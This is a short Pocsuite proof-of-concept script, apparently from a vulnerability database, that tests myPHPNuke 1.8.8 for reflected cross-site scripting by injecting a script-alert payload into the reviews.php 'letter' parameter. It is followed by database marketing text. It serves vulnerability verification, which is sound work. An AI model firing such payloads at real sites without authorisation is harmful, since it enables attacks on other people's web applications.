#!/usr/bin/env python
# coding: utf-8
from urlparse import urljoin
from pocsuite.net import req
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register
class TestPOC(POCBase):
vulID = '80921' # ssvid
version = '1.0'
author = ['Disorder']
vulDate = '2006-02-28'
createDate = '2015-11-21'
updateDate = '2015-11-21'
references = ['http://www.sebug.net/vuldb/ssvid-80921']
name = 'myPHPNuke 1.8.8 reviews.php letter Parameter XSS'
appPowerLink = 'http://sourceforge.net/projects/myphpnuke/'
appName = 'myPHPNuke'
appVersion = '1.8.8'
vulType = 'Other'
desc = '''
myPHPNuke 1.8.8 reviews.php letter Parameter XSS
'''
samples = ['']
def _verify(self):
return self._verify_xss()
def _verify_xss(self):
payload = "reviews.php?op=reviews&letter=<script>alert(/sebug/)</script>"
res = req.get(urljoin(self.url, payload), timeout=5)
return self.parse_verify(res, payload, 'xss')
def parse_verify(self, res, payload, type):
output = Output(self)
result = {}
if type == 'xss' and '<script>alert(/sebug/)</script>' in res.content:
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = urljoin(self.url, payload)
output.success(result)
else:
output.fail('Internet Nothing returned')
return output
def _attack(self):
return self._verify()
register(TestPOC)
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation